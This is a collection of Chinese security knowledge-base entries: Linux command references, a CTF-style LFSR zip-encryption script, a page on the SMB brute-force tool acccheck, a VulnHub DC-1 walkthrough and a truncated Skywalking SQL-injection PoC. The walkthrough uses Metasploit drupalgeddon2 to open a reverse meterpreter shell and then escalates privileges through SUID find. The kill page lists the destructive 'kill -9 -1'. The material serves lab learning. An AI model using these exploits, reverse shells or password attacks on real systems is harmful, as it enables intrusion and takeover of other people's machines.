因为我密码不是md5的 所以我加了个密来分割。
# 0x01 文末
#### 本文如有错误,请及时提醒,避免误导他人
* author:404
|
sec-knowleage
|
top
===
显示或管理执行中的程序
## 补充说明
**top命令** 可以实时动态地查看系统的整体运行情况,是一个综合了多方信息监测系统性能和运行信息的实用工具。通过top命令所提供的互动式界面,用热键可以管理。
### 语法
```shell
top(选项)
```
### 选项
```shell
-b:以批处理模式操作;
-c:显示完整的治命令;
-d:屏幕刷新间隔时间;
-I:忽略失效过程;
-s:保密模式;
-S:累积模式;
-i<时间>:设置间隔时间;
-u<用户名>:指定用户名;
-p<进程号>:指定进程;
-n<次数>:循环显示的次数;
-H:所有线程占用资源情况。
```
### top交互命令
在top命令执行过程中可以使用的一些交互命令。这些命令都是单字母的,如果在命令行中使用了-s选项, 其中一些命令可能会被屏蔽。
```shell
h:显示帮助画面,给出一些简短的命令总结说明;
k:终止一个进程;
i:忽略闲置和僵死进程,这是一个开关式命令;
q:退出程序;
r:重新安排一个进程的优先级别;
S:切换到累计模式;
s:改变两次刷新之间的延迟时间(单位为s),如果有小数,就换算成ms。输入0值则系统将不断刷新,默认值是5s;
f或者F:从当前显示中添加或者删除项目;
o或者O:改变显示项目的顺序;
l:切换显示平均负载和启动时间信息;
m:切换显示内存信息;
t:切换显示进程和CPU状态信息;
c:切换显示命令名称和完整命令行;
M:根据驻留内存大小进行排序;
P:根据CPU使用百分比大小进行排序;
T:根据时间/累计时间进行排序;
w:将当前设置写入~/.toprc文件中。
```
### 实例
```shell
top - 09:44:56 up 16 days, 21:23, 1 user, load average: 9.59, 4.75, 1.92
Tasks: 145 total, 2 running, 143 sleeping, 0 stopped, 0 zombie
Cpu(s): 99.8%us, 0.1%sy, 0.0%ni, 0.2%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 4147888k total, 2493092k used, 1654796k free, 158188k buffers
Swap: 5144568k total, 56k used, 5144512k free, 2013180k cached
```
**解释:**
* top - 09:44:56[当前系统时间],
* 16 days[系统已经运行了16天],
* 1 user[个用户当前登录],
* load average: 9.59, 4.75, 1.92[系统负载,即任务队列的平均长度]
* Tasks: 145 total[总进程数],
* 2 running[正在运行的进程数],
* 143 sleeping[睡眠的进程数],
* 0 stopped[停止的进程数],
* 0 zombie[冻结进程数],
* Cpu(s): 99.8%us[用户空间占用CPU百分比],
* 0.1%sy[内核空间占用CPU百分比],
* 0.0%ni[用户进程空间内改变过优先级的进程占用CPU百分比],
* 0.2%id[空闲CPU百分比], 0.0%wa[等待输入输出的CPU时间百分比],
* 0.0%hi[],
* 0.0%st[],
* Mem: 4147888k total[物理内存总量],
* 2493092k used[使用的物理内存总量],
* 1654796k free[空闲内存总量],
* 158188k buffers[用作内核缓存的内存量]
* Swap: 5144568k total[交换区总量],
* 56k used[使用的交换区总量],
* 5144512k free[空闲交换区总量],
* 2013180k cached[缓冲的交换区总量],
|
sec-knowleage
|
# 现实世界中常用的编码
## 条形码
- 宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符
- 国际标准
- EAN-13 商品标准,13 位数字
- Code-39:39 字符
- Code-128:128 字符
- [条形码在线识别](https://online-barcode-reader.inliteresearch.com/)
## 二维码
- 用某种特定几何图形按一定规律在平面分步的黑白相间的图形记录数据符号信息
- 堆叠式 / 行排式二维码:Code 16 k、Code 49、PDF417
- 矩阵式二维码:QR CODE
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH PASTE 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
paste \- 合并文件各行
.SH 概述
\fBpaste\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
从列表中的所有文件,连续依次读取一行,合并成新行,中间用 TAB 隔开,写到标准输出。
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-d\fP, \fB\-\-delimiters\fP=\fI\,字符列表\/\fP
循环使用列表中的字符取代 TAB
.TP
\fB\-s\fP, \fB\-\-serial\fP
不使用平行的行输出模式,而是每个文件占用一行
.TP
\fB\-z\fP, \fB\-\-zero\-terminated\fP
以 NUL 作为行的分隔符,而非换行符
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 David M. Ihnat 和 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/paste>
.br
或者在本地使用: info \(aq(coreutils) paste invocation\(aq
|
sec-knowleage
|
import os
import zipfile
import zlib
import hashlib
from struct import pack, unpack
import sys
POLY_SZ = 20
class BitStream:
def __init__(self, data, sz=None):
if sz is None:
sz = len(data) * 8
self.sz = sz
self.data = bytearray(data)
self.idx = 0
def get_bit(self):
if self.idx >= self.sz:
raise Exception('All bits used. Go away.')
i_byte = self.idx / 8
i_bit = self.idx % 8
bit = (self.data[i_byte] >> i_bit) & 1
self.idx += 1
return bit
def get_bits(self, sz):
v = 0
for i in xrange(sz):
v |= self.get_bit() << i
return v
class LFSR:
def __init__(self, poly, iv, sz):
self.sz = sz
self.poly = poly
self.r = iv
self.mask = (1 << sz) - 1
def get_bit(self):
bit = (self.r >> (self.sz - 1)) & 1
new_bit = 1
masked = self.r & self.poly
for i in xrange(self.sz):
new_bit ^= (masked >> i) & 1
self.r = ((self.r << 1) | new_bit) & self.mask
return bit
class LFSRCipher:
def __init__(self, key, poly_sz=8, key_iv=None, cipher_iv=None):
if len(key) < poly_sz:
raise Exception('LFSRCipher key length must be at least %i' % poly_sz)
key = BitStream(key)
if key_iv is None:
key_iv = os.urandom(poly_sz)
self.key_iv = key_iv
key_iv_stream = BitStream(key_iv)
if cipher_iv is None:
cipher_iv = os.urandom(poly_sz)
self.cipher_iv = cipher_iv
cipher_iv_stream = BitStream(cipher_iv)
self.lfsr = []
for i in xrange(8):
l = LFSR(key.get_bits(poly_sz) ^ key_iv_stream.get_bits(poly_sz),
cipher_iv_stream.get_bits(poly_sz), poly_sz)
self.lfsr.append(l)
def get_keystream_byte(self):
b = 0
for i, l in enumerate(self.lfsr):
b |= l.get_bit() << i
return b
def get_headers(self):
return self.key_iv + self.cipher_iv
def crypt(self, s):
s = bytearray(s)
for i in xrange(len(s)):
s[i] ^= self.get_keystream_byte()
return str(s)
# A super short ZIP implementation.
def SETBIT(n):
return 1 << n
def db(v):
return pack("<B", v)
def dw(v):
return pack("<H", v)
def dd(v):
return pack("<I", v)
class BetterZipCreator:
def __init__(self, arcname, key):
self.key = key
self.arcname = arcname
self.files = []
def add_file(self, fname):
with open(fname, 'rb') as f:
data = f.read()
self.files.append((fname, data))
def write_lfh(self, arc, f):
fname, data = f
crc = zlib.crc32(data) & 0xffffffff
c = LFSRCipher(self.key, POLY_SZ)
crypto_headers = c.get_headers()
encrypted_data = c.crypt(data)
sha256 = hashlib.sha256(data)
encrypted_hash = c.crypt(sha256.digest())
actual_sz = len(crypto_headers) + len(data) + sha256.digest_size
header_to_write = [
"PK\3\4",
dw(90), # The encryption is so good it's version 9.0 at least!
dw(SETBIT(0) | SETBIT(15)), # Super strong encryption enabled!!!
dw(0), # No compression.
dw(0), dw(0), # Time/date, we don't care.
dd(crc),
dd(actual_sz),
dd(len(data)),
dw(len(fname)),
dw(0), # Extra field length.
fname
]
arc.write(''.join(header_to_write))
arc.write(crypto_headers)
arc.write(encrypted_data)
arc.write(encrypted_hash)
def write_cdh(self, arc, f, offset):
fname, data = f
crc = zlib.crc32(data) & 0xffffffff
c = LFSRCipher(self.key, POLY_SZ)
sha256 = hashlib.sha256(data)
actual_sz = len(c.get_headers()) + len(data) + sha256.digest_size
header_to_write = [
"PK\1\2",
dw(90), # The encryption is so good it's version 9.0 at least!
dw(90), # The encryption is so good it needs version 9.0 at least!
dw(SETBIT(0) | SETBIT(15)), # Super strong encryption enabled!!!
dw(0), # No compression.
dw(0), dw(0), # Time/date, we don't care.
dd(crc),
dd(actual_sz),
dd(len(data)),
dw(len(fname)),
dw(0), # Extra field length.
dw(0), # Comment field length.
dw(0), # Disk number start.
dw(0), # File attributes.
dd(0), # External file attributes.
dd(offset),
fname
]
arc.write(''.join(header_to_write))
def write_eocdh(self, arc, ent_no, cdh_start, cdh_end):
header_to_write = [
"PK\5\6",
dw(0), # Disk no.
dw(0), # Disk with CDH.
dw(ent_no),
dw(ent_no),
dd(cdh_end - cdh_start),
dd(cdh_start),
dw(0), # Comment length.
]
arc.write(''.join(header_to_write))
def close(self):
with open(self.arcname, "wb") as arc:
offsets = []
crcs = []
for f in self.files:
offset = arc.tell()
offsets.append(offset)
self.write_lfh(arc, f)
cdh_start = arc.tell()
for f, offset in zip(self.files, offsets):
self.write_cdh(arc, f, offset)
cdh_end = arc.tell()
self.write_eocdh(arc, len(self.files), cdh_start, cdh_end)
if __name__ == "__main__":
if len(sys.argv) != 4:
sys.exit("usage: better_zip.py <arcname.zip> <file> <key_as_hex_string>")
z = BetterZipCreator(sys.argv[1], sys.argv[3].decode('hex'))
z.add_file(sys.argv[2])
z.close()
|
sec-knowleage
|
---
title: acccheck
categories: Information Gathering
tags: [passwords,kali linux,acccheck,infogathering,password attack,smb,information gathering]
date: 2016-10-18 11:10:00
---
0x00 acccheck介绍
-------------
CDPSnarf(Cisco Discovery Protocol Sniffer)是专门用于从CDP包提取信息的网络嗅探器。
工具来源:https://labs.portcullis.co.uk/tools/acccheck/
[acccheck主页][1] | [Kali acccheck仓库][2]
- 作者:Faisal Dean
- 证书:GPLv2
0x01 acccheck功能
---------------
acccheck-SMB的密码字典攻击工具
```shell
root@kali:~# acccheck
acccheck v0.2.1 - By Faiz
描述:
根据给定的选择尝试连接到IPC $和ADMIN $共享,并尝试用户名和密码的组合,以望通过字典密码猜测攻击来识别给定帐户的密码
用法= ./acccheck [选项]
-t [单个主机IP地址]
或者
-T [包含目标IP地址的文件]
选项:
-p [单个密码]
-P [包含密码的文件]
-u [单用户]
-U [包含用户名的文件]
-v [详细模式]
例子:
使用空密码尝试“管理员”帐户
acccheck -t 10.10.10.1
尝试“password.txt”中所有密码穷举“管理员”帐户密码
acccheck -t 10.10.10.1 -P password.txt
尝试“password.txt”中所有密码穷举“users.txt”中所有帐户密码
acccehck -t 10.10.10.1 -U users.txt -P password.txt
针对单个用户尝试单个密码
acccheck -t 10.10.10.1 -u administrator -p password
```
0x02 acccheck用法示例
-----------------
扫描包含在SMB-ips.txt(T)的IP地址中使用空密码的默认账户Administrator,并使用详细输出(-v):
```shell
root@kali:~# acccheck -T smb-ips.txt -v
Host:192.168.1.201, Username:Administrator, Password:BLANK
```
[1]: http://labs.portcullis.co.uk/application/acccheck
[2]: http://git.kali.org/gitweb/?p=packages/acccheck.git;a=summary
|
sec-knowleage
|
# DC: 1
下载地址:https://download.vulnhub.com/dc/DC-1.zip
## 实战演练
发现靶场IP地址:`192.168.32.158`

扫描对外端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -sT -sV -p1-65535 192.168.32.158 2 ⚙
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 03:12 EDT
Nmap scan report for 192.168.32.158
Host is up (0.00077s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
56593/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:A5:16:07 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds
```
浏览器访问80端口,发现web框架是`drupal`

使用`droopescan`扫描软件对系统进行扫描,发现潜在的版本
```
┌──(root💀kali)-[/opt/droopescan-master]
└─# docker run droopescan scan -u http://192.168.32.158/ 2 ⚙
[+] Site identified as drupal.
[+] Plugins found:
ctools http://192.168.32.158/sites/all/modules/ctools/
http://192.168.32.158/sites/all/modules/ctools/LICENSE.txt
http://192.168.32.158/sites/all/modules/ctools/API.txt
views http://192.168.32.158/sites/all/modules/views/
http://192.168.32.158/sites/all/modules/views/README.txt
http://192.168.32.158/sites/all/modules/views/LICENSE.txt
profile http://192.168.32.158/modules/profile/
php http://192.168.32.158/modules/php/
image http://192.168.32.158/modules/image/
[+] Themes found:
seven http://192.168.32.158/themes/seven/
garland http://192.168.32.158/themes/garland/
[+] Possible version(s):
7.22
7.23
7.24
7.25
7.26
[+] Possible interesting urls found:
Default admin - http://192.168.32.158/user/login
```
查看可以利用exp

使用MSF进行攻击
```
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.32.158
rhosts => 192.168.32.158
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.32.130:4444
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated.
[*] Sending stage (39282 bytes) to 192.168.32.158
[*] Meterpreter session 1 opened (192.168.32.130:4444 -> 192.168.32.158:42768) at 2022-06-21 04:13:09 -0400
```
查看可以提权信息
```
meterpreter > shell
Process 3418 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/sh")'
$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
$ sudo -l
sudo -l
/bin/sh: 2: sudo: not found
```
使用`find`命令提权成功

|
sec-knowleage
|
lp
===
打印文件或修改排队的打印任务
## 补充说明
**lp命令** 用于打印文件,或者修改排队的打印任务。与lpr命令类似,lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同(稍微复杂点)的参数选项设置。
### 语法
```shell
lp(选项)(参数)
```
### 选项
```shell
-E:与打印服务器连接时强制使用加密;
-U:指定连接打印服务器时使用的用户名;
-d:指定接收打印任务的目标打印机;
-i:指定一个存在的打印任务号;
-m:打印完成时发送E-mail;
-n:指定打印的份数;
-t:指定打印任务的名称;
-H:指定打印任务开始的时间;
-P:指定需要打印的页码。
```
### 参数
文件:需打印的文件。
### 实例
要在连接在设备dlp0上的打印机lp0上打印文件`/etc/motd`,请输入:
```shell
lp /etc/motd
```
要使用文件的一个副本打印`/etc/motd`文件的30个副本,并且要用邮件通知用户作业完成,请输入:
```shell
lp -c -m -n30 -dlp0:lpd0 /etc/motd
```
要使用后端标志-f和-a并带上作业标题blah打印`/etc/motd`文件,请输入:
```shell
lp -t "blah" -o -f -o -a /etc/motd
```
要排队MyFile文件并返回作业编号,请输入:
```shell
lp myfile
```
要排队MyFile文件并禁止作业编号,请输入:
```shell
lp -s myfile
```
**退出状态**
该命令返回以下退出值:
* 0:所有输入文件成功处理。
* >0:没有输出设备可用,或者出现一个错误。
|
sec-knowleage
|
.TH MAKEDEV 8 "14th August 1994" Linux "Linux Programmer's Manual"
.SH NAME
MAKEDEV \- 建立设备
.SH "总览 (SYNOPSIS)"
.B "cd dev; ./MAKEDEV -V"
.br
.B "cd dev; ./MAKEDEV [ -n ] [ -v ] update"
.br
.BI "cd dev; ./MAKEDEV [ -n ] [ -v ] [ -d ]" " device ..."
.SH "描述 (DESCRIPTION)"
.B MAKEDEV
是 一个 脚本程序, 用于 在 \fC/dev\fP 目录下 建立 设备, 通过 这些 设备文件
可以 访问 位于 内核 的 驱动程序.
.PP
注意, 如果 应用程序 显示 出错信息 ``ENOENT: No such file or directory'',
一般指 设备文件 不存在, 而 ``ENODEV: No such device'' 则 表明 内核 没有
配置 或 装载 相应的 驱动程序.
.SH "选项 (OPTIONS)"
.TP
.B \-V
显示 版本信息 (实际上 是 RCS 版本信息) 然后 退出.
.TP
.B \-n
并不做 真正的 更新, 只是 显示 一下 它的 执行 效果.
.TP
.B \-d
删除 设备文件. 主要 供
.B MAKEDEV
自己 用.
.TP
.B \-v
繁琐模式. 显示出 执行的 每一个 动作. 它的 输出内容 和
.BR \-n
选项 的 输出内容 一样.
.SH "自定义 (CUSTOMISATION)"
由于 目前 还没有 系统 用户 和 用户组 的 标准名称,
你 可能 需要 修改
.B MAKEDEV
以 配合 你的 系统设置.
在 这个 程序 的 开始位置, 定义了 从 设备类型 到 用户, 用户组 和 访问权限
的 映射关系 (例如, 所有的 CD-ROM 设备 通过 \fC$cdrom\fP 变量 设置).
如果 你 打算 改变 缺省定义, 就需要 编辑 这个 部分.
.SH "设备 (DEVICES)"
.TP
.B 基本选项 (General Option)
.TP
.B update
该选项 只用于 实现了 \fC/proc/interrupts\fP 的 内核(从 1.1.x 开始).
MAKEDEV 扫描 这个文件, 检查 目前 内核 配置了 什么设备, 它 和 上次
配置 的 设备 做 比较 (记录在 文件 \fCDEVICES\fP 中), 创建 新设备 或
主设备号 不相同 的 设备, 删除 没有 配置的 设备.
.TP
.B generic
创建 通用设备 子集. 包括 标准设备, 软驱, 各种硬驱, 伪终端,
控制台设备, 基本串行设备, 总线鼠标 和 打印口.
.TP
.B
std
标准设备.
它们有:
.RS
.B mem
\- 访问 物理内存;
.RE
.RS
.B kmem
\- 访问 内核虚拟内存;
.RE
.RS
.B null
\- 空设备 (无限写入 infinite sink);
.RE
.RS
.B port
\- 访问 I/O 端口;
.RE
.RS
.B zero
\- 空(0)字节 来源 (无限读出 infinite source);
.RE
.RS
.B core
\- /proc/kcore 的 符号连接 (用于 内核除错);
.RE
.RS
.B full
\- 写访问 这个设备 一定 返回 ENOSPACE;
.RE
.RS
.B ram
\- 虚拟磁盘 (ramdisk);
.RE
.RS
.B tty
\- 访问 进程 的 控制终端.
.RE
.TP
.B local
运行
.BR MAKEDEV.local .
它是个 脚本程序, 用来 创建 各种 本地设备 (local devices).
.TP
.B 虚拟终端 (Virtual Terminal)
.TP
.I console
用于 建立 关联(associate) 控制台 的 设备. 就是 虚拟终端
.RI tty x ,
.I x
从 0 到 63. 设备 tty0 是 当前的 活动 虚拟终端, 也就是 \fCconsole\fP.
每个 虚拟终端 有 两个 设备,
.RI vcs x
和
.RI vcsa x ,
用做 虚拟终端 的 屏幕转储(screen-dump),
.BI vcs x
只有 文本,
.BI vcsa x
还包括 属性.
.TP
.B 串行设备 (Serial Device)
.TP
.I ttyS{0..63}
串行口 和 对应的 拨出设备(dial-out). 对于
.BI ttyS x
设备, 有 同样的 设备
.BI cua x
用于 拨出. 在 一些 简单 的 应用环境, 这种 形式 可以 避免 使用 协作锁.
.TP
.I cyclades
用于 cyclades 智能 I/O 串行卡 的 拨入和拨出 设备.
拨入设备 是
.BI ttyC x ,
对应的 拨出设备 是
.BI cub x .
缺省情况是 创建 7线 设备, 但是 去掉 注释 可以 改成 15线.
.TP
.B 伪终端 (Pseudo Terminal)
.TP
.I pty[p-s]
参数中的 每个字符 可以 创建 一组 共 16 个 主从伪终端对.
1.2 版本的 内核 支持 64 对. 主伪终端 是
.BR pty[p-s][0-9a-f] ,
从伪终端是
.BR tty[p-s][0-9a-f] .
.TP
.B 并行口 (Parallel Port)
.TP
.I lp
标准并行口. 创建的 设备 是
.BR lp0 ,
.BR lp1
和
.BR lp2 .
它们 对应的 端口 是 0x3bc, 0x378 和 0x278.
因此, 有些 机器 上 的 第一个 打印口 是
.BR lp1 .
.TP
.I par
.IR lp
的替换. 端口 由
.BI par x
命名, 代替了
.BI lp x .
.TP
.B 总线鼠标 (Bus Mice)
.TP
.I busmice
各种 总线鼠标 设备. 有
.B logimouse
(Logitech bus mouse),
.B psmouse
(PS/2-style mouse),
.B msmouse
(Microsoft Inport bus mouse) 和
.B atimouse
(ATI XL bus mouse) 和
.B jmouse
(J-mouse).
.TP
.B 游戏杆设备 (Joystick Device)
.TP
.I js
游戏操纵杆. 创建
.B js0
和
.BR js1 .
.TP
.B Disk Devices
.TP
.I fd[0-7]
软驱设备.
.BI fd x
设备 能够 自动检测 (盘面)格式, 其他设备 采用 固定格式, 在 名字中 指定 容量.
命名格式 是
.BI fd xLn ,
字母
.I L
表明 软盘 规格 (d = 5.25" DD, h = 5.25" HD, D = 3.5" DD, H = 3.5" HD,
E = 3.5" ED). 数字
.I n
代表 这种规格下 的 盘面 容量 (单位是K). 因此 标准的容量 是
.BI fd x d360 ,
.BI fd x h1200 ,
.BI fd x D720 ,
.BI fd x H1440 ,
和
.RI fd x E2880 .
.IP
更多的 内容 请参看 Alain Knaff 的 fdutils 发行包.
.IP
从
.BI fd0 *
到
.BI fd3 *
的 设备 是 第一个 控制器 上的 软驱, 而
.BI fd4 *
到
.BI fd7 *
则 位于 第二个 控制器 上.
.TP
.I hd[a-d]
AT 硬盘. 设备
.BI hd x
提供 对 整个 硬盘 的 访问, 访问 分区 用
.BI hd x [0-20].
四个 主分区 从
.BI hd x 1
到
.BI hd x 4,
它们的 逻辑分区 从
.BI hd x 5
开始 到
.BI hd x 20.
(主分区 可以 配置为 扩展分区, 扩展分区 可以 容纳 4个 逻辑分区).
缺省情况下, 一个 设备 只创建 4个 逻辑分区. 如果 要求 更多的 逻辑分区,
可以 在 MAKEDEV 中 去掉 相应的 注释.
.IP
驱动器 hda 和 hdb 位于 第一个 控制器 上. 如果 使用 新型的 IDE 驱动器
(而非 老式的 HD 驱动器), 还会有 hdc 和 hdd, 在 第二个 磁盘控制器上.
这些设备 同样可以 访问 IDE CDROM 驱动器.
.TP
.I xd[a-d]
XT 硬盘. 分区结构 和 IDE 硬盘 一样.
.TP
.I sd[a-z], sd[a-c][a-z], sdd[a-x]
SCSI 硬盘. 分区结构 和 IDE 硬盘 类似, 但是 逻辑分区 限制在 11 个 以内,
.RI (sd x 5
到
.RI sd x 15).
允许 有 128个 SCSI 硬盘.
.TP
.I loop
自环(loopback) 磁盘设备. 允许 你 把 普通文件 当做 块设备 使用.
这 意味着 可以 挂载(mount) 各种 文件系统 的 映像(文件), 用起来
和 普通 的 文件系统 一样.
一般 创建 8个 设备, loop0 到 loop7.
.TP
.B 磁带设备 (Tape Device)
.TP
.I st[0-7]
SCSI 磁带. 有 可回卷(rewinding)的 磁带设备
.BI st x
和 不可回卷(non-rewinding) 的
.BI nst x .
.TP
.I qic
QIC-80 磁带. 创建 的 设备 有
.BR rmt8 ,
.BR rmt16 ,
.BR tape-d
和
.BR tape-reset .
.TP
.I ftape
软驱磁带 (QIC-117).
根据 不同的 驱动方法, 有 四种 存取 方法 0, 1, 2 和 3,
对应 各自的 设备
.BI rft x
(可回卷) 和
.BI nrft x
(不可回卷). 另外 还提供了 兼容设备
.B ftape
和
.B nftape ,
它们是
.B rft0
和
.B nrft0
的 符号连接.
.TP
.B CDROM 设备
.TP
.I scd[0-7]
SCSI CD 播放器.
.TP
.I sonycd
Sony CDU-31A CD 播放器.
.TP
.I mcd
Mitsumi CD 播放器.
.TP
.I cdu535
Sony CDU-535 CD 播放器.
.TP
.I lmscd
LMS/Philips CD 播放器.
.TP
.I sbpcd{,1,2,3}
Sound Blaster CD 播放器. 内核 能够 支持 16个 CDROM,
通过
.BR sbpcd[0-9a-f]
访问. 它们 每四个 一组 分配 在 各个 控制器 上.
.B sbpcd
是
.BR sbpcd0
的 符号连接.
.\" .TP
.\" .I idecd
.\" NEC CDR-260 (注意: 这个 可能 被 新型的 IDE 驱动器 取代了).
.TP
.B 扫描仪 (Scanner)
.TP
.I logiscan
Logitech ScanMan32 & ScanMan 256.
.TP
.I m105scan
Mustek M105 手持式.
.TP
.I ac4096
A4Tek 彩色手持式.
.TP
.B 音频 (Audio)
.TP
.I audio
建立 供 声音驱动程序 使用的 音频设备. 包括
.BR mixer ,
.BR sequencer ,
.BR dsp
和
.BR audio .
.TP
.I pcaudio
PC 扬声器 声音驱动程序 的 设备. 有
.BR pcmixer .
.BR pxsp ,
和
.BR pcaudio .
.TP
.B 杂项 (Miscellaneous)
.TP
.I sg
通用 SCSI 设备. 从
.B sga
到
.B sgh ,
.B sg0
到
.BR sg7 .
它们 允许 对 任何 SCSI 设备 发出 任意指令. 可以 查询 设备信息, 或者 控制
不是 磁盘, 磁带 或 CDROM 的 SCSI 设备 (例如 扫描仪, 可擦写CDROM).
.TP
.I fd
允许 任何程序 从 文件描述符
.IR x
中 获取 输入, 文件名 是
.BI /dev/fd/ x .
而且 还创建了
.BR /dev/stdin ,
.BR /dev/stdout ,
和
.BR /dev/stderr .
(注意, 这些 只是 到 /proc/self/fd 的 符号连接).
.TP
.I ibcs2
IBCS2 模拟器 所需的 设备(和符号连接).
.TP
.I apm
电源管理设备.
.TP
.I dcf
DCF-77 radio clock 驱动程序 用的 设备.
.TP
.I helloworld
内核模块 的 演示设备. 见 模块 源程序.
.TP
.B 网络设备
Linux 曾经在 /dev 下面 放了一些 设备文件, 用于 控制 网络设备, 现在 取消了.
想知道 内核 支持 什么 网络设备, 请 查看 /proc/net/dev.
.SH "另见 (SEE ALSO)"
Linux Allocated Devices, H.\ Peter Anvin 维护, <Peter.Anvin@linux.org>.
.SH "作者 (AUTHOR)"
Nick Holloway, <Nick.Hollowa
.SH "[中文版维护人]"
.B 徐明 <xuming@iname.com>
.SH "[中文版最新更新]"
.BR 2001/11/03
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
'\" t
.\" (The preceding line is a note to broken versions of man to tell
.\" them to pre-process this man page with tbl)
.\" Man page for kill.
.\" Licensed under version 2 of the GNU General Public License.
.\" Written by Albert Cahalan; converted to a man page by
.\" Michael K. Johnson
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH KILL 1 "2011 年 10 月" procps\-ng 用户命令
.SH 名称
kill \- 终止进程
.SH 概述
\fBkill\fP [选项] <pid> [...]
.SH 描述
默认的终止信号是 TERM。 使用 \fB\-l\fP 或 \fB\-L\fP 列出可用的信号。常用的信号包括 HUP,INT,KILL,STOP,CONT 和
0。可以用三种方式指定备用信号:\fB\-9\fP,\fB\-SIGKILL\fP 或 \fB\-KILL\fP。负数 PID 值可用于选择整个进程组。请参阅 ps 命令输出的
PGID 列。\fB\-1\fP 是特殊的 PID;它表示除 kill 进程本身和 init 之外的所有进程。
.SH 选项
.TP
\fB<pid> [...]\fP
向给定的每个 <pid> 发送信号
.TP
\fB\-<signal>\fP
.TQ
\fB\-s <信号>\fP
.TQ
\fB\-\-signal <信号>\fP
指定要发送的 \fB信号\fP。信号可以使用信号名或数字给出。信号的行为在 \fBsignal\fP(7) 手册页中进行了说明。
.TP
\fB\-l\fP, \fB\-\-list\fP [\fI信号\fP]
列出可用的信号的名称。此选项具有可选参数,该参数将信号编号 (数字) 转换为信号名称,反之亦然。
.TP
\fB\-L\fP,\fB\ \-\-table\fP
在表格中列出信号名称。
.TP
.PD
.SH 注意
您的 Shell 程序(命令行解释器)可能具有内置的 kill 命令。您可能需要运行 /bin/kill 的命令来避免“冲突”。
.SH 示例
.TP
\fBkill \-9 \-1\fP
杀死所有可以杀死的进程。
.TP
\fBkill \-l 11\fP
显示信号编号 11 所代表的信号名称。
.TP
\fBkill \-L\fP
在表格中列出所有可用的信号。
.TP
\fBkill 123 543 2341 3453\fP
为这些进程发送默认信号 SIGTERM。
.SH 参考
\fBkill\fP(2), \fBkillall\fP(1), \fBnice\fP(1), \fBpkill\fP(1), \fBrenice\fP(1),
\fBsignal\fP(7), \fBskill\fP(1)
.SH 标准
该命令符合适当的标准。\fB\-L\fP 是 Linux 特有的。
.SH 作者
.UR albert@users.sf.net
Albert Cahalan
.UE
在 1999 年写了一个 kill
程序来替换不符合标准的 bsdutils。util\-linux 也实现了一个可以工作的版本。
.SH 报告错误
如果你想报告错误,请发送邮件到
.UR procps@freelists.org
.UE
|
sec-knowleage
|
# Apache Skywalking 8.3.0 SQL Injection Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
Application performance monitor tool for distributed systems, especially designed for microservices, cloud native and container-based (Docker, Kubernetes, Mesos) architectures.
In GraphQL interfaces of Apache Skywalking 8.3.0 and previous, there is a H2 Database SQL injection vulnerability.
Reference link:
- https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw
- https://github.com/apache/skywalking/commit/0bd81495965d801315dd7417bb17333ae0eccf3b#diff-ec87a1cdf66cdb37574d9eafd4d72d99ed94a38c4a8ff2aa9c7b8daeff502a2c
## Vulnerability environment
Execute the following command to start an Apache Skywalking 8.3.0:
```
docker compose up -d
```
After the environment is started, visit `http://your-ip:8080` to view the Skywalking page.
## POC
I use GraphiQL's desktop app to send the following GraphQL query:

It can be seen that the SQL statement has raised error, and the value of the `metricName` parameter has been injected after `from`.
The HTTP request of this GraphQL query is:
```
POST /graphql HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
